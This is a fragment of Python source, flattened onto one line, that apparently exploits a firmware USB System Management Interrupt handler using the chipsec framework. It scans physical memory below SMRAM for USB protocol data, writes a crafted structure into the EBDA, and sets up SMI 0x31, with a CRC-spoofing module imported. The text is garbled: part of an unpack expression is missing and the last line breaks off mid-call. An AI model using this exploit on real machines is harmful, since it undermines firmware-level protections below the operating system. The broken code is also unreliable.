from struct import pack, unpack from crc_spoof import * import chipsec.chipset from chipsec.hal.interrupts import Interrupts PAGE_SIZE = 0x1000 SMI_USB_RUNTIME = 0x31 cs = chipsec.chipset.cs() cs.init(None, True, True) intr = Interrupts(cs) SMRAM = cs.cpu.get_SMRAM()[0] mem_read = cs.helper.read_physical_mem mem_write = cs.helper.write_physical_mem mem_alloc = cs.helper.alloc_physical_mem io_read = cs.helper.read_io_port # check if system is in ACPI mode # assert (io_read(0x1804, 1) & 1) == 0, "this system is in ACPI mode now" # locate EFI_USB_PROTOCOL and usb_data in the memory for addr in xrange(SMRAM / PAGE_SIZE - 1, 0, -1): if mem_read(addr * PAGE_SIZE, 4) == 'USBP': usb_protocol = addr * PAGE_SIZE usb_data = unpack("> 32: struct_addr = ebda_addr # prepare our structure mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE) # clean the structure mem_write(struct_addr + 0x0, 1, '\x2d') # subfunction number mem_write(struct_addr + 0xb, 1, '\x10') # arithmetic adjustment # store the pointer to the structure in the EBDA mem_write(ebda_addr + 0x104, 4, pack('